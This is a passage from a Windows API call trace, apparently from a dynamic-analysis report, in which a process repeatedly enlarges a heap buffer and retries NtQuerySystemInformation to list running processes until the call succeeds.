SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.155] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1b3cc) returned 0x2560048 [0211.155] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0211.155] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0211.298] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0211.298] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0211.298] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0211.298] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0211.299] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0211.299] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0211.299] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0211.299] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0211.299] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0211.300] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0211.300] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0211.300] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0211.301] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0211.301] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.302] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0211.302] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.302] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xa168) returned 0x2560048 [0211.302] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.302] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0211.302] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.303] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0211.303] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.303] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0211.303] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.303] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xe1f8) returned 0x2560048 [0211.303] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.304] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xf21c) returned 0x2560048 [0211.304] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.304] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x10240) returned 0x2560048 [0211.304] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.304] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x11264) returned 0x2560048 [0211.304] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.305] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x12288) returned 0x2560048 [0211.305] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.305] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x132ac) returned 0x2560048 [0211.305] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.305] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x142d0) returned 0x2560048 [0211.305] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.306] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x152f4) returned 0x2560048 [0211.306] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.306] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x16318) returned 0x2560048 [0211.306] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.307] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1733c) returned 0x2560048 [0211.307] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.307] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x18360) returned 0x2560048 [0211.307] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.307] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x19384) returned 0x2560048 [0211.307] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.308] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1a3a8) returned 0x2560048 [0211.308] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.308] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1b3cc) returned 0x2560048 [0211.308] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0211.309] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0211.497] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0211.497] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0211.497] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0211.497] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0211.497] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0211.497] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0211.497] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0211.497] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0211.497] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0211.497] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0211.498] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0211.498] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0211.498] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0211.498] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.498] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0211.498] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.498] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xa168) returned 0x2560048 [0211.498] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.499] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0211.499] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.499] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0211.499] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.499] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0211.499] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.499] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xe1f8) returned 0x2560048 [0211.499] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.500] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xf21c) returned 0x2560048 [0211.500] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.500] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x10240) returned 0x2560048 [0211.500] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.500] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x11264) returned 0x2560048 [0211.500] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.501] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x12288) returned 0x2560048 [0211.501] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.501] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x132ac) returned 0x2560048 [0211.501] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.501] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x142d0) returned 0x2560048 [0211.501] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.502] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x152f4) returned 0x2560048 [0211.502] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.502] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x16318) returned 0x2560048 [0211.502] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.502] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1733c) returned 0x2560048 [0211.502] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.503] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x18360) returned 0x2560048 [0211.503] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.503] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x19384) returned 0x2560048 [0211.503] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.503] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1a3a8) returned 0x2560048 [0211.503] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.504] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1b3cc) returned 0x2560048 [0211.504] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0211.505] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0211.886] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0211.886] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0211.887] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0211.887] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0211.887] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0211.887] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0211.887] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0211.887] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0211.887] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0211.887] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0211.887] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0211.887] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0211.888] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0211.888] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.888] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0211.888] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.888] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xa168) returned 0x2560048 [0211.888] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.888] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0211.888] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.889] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0211.889] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.889] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0211.889] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.889] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xe1f8) returned 0x2560048 [0211.889] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.889] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xf21c) returned 0x2560048 [0211.889] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.890] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x10240) returned 0x2560048 [0211.890] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.890] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x11264) returned 0x2560048 [0211.890] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.890] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x12288) returned 0x2560048 [0211.890] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.891] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x132ac) returned 0x2560048 [0211.891] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.891] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x142d0) returned 0x2560048 [0211.891] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.891] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x152f4) returned 0x2560048 [0211.891] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.891] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x16318) returned 0x2560048 [0211.892] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.892] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1733c) returned 0x2560048 [0211.892] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0211.892] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x18360) returned 0x2560048 [0211.892] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0211.893] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0212.136] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0212.136] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0212.136] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0212.136] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0212.136] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0212.136] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0212.136] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0212.136] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0212.136] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0212.137] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0212.137] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0212.137] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0212.137] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0212.137] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0212.137] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0212.137] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0212.137] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xa168) returned 0x2560048 [0212.137] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0212.138] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0212.138] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0212.138] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0212.138] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0212.138] 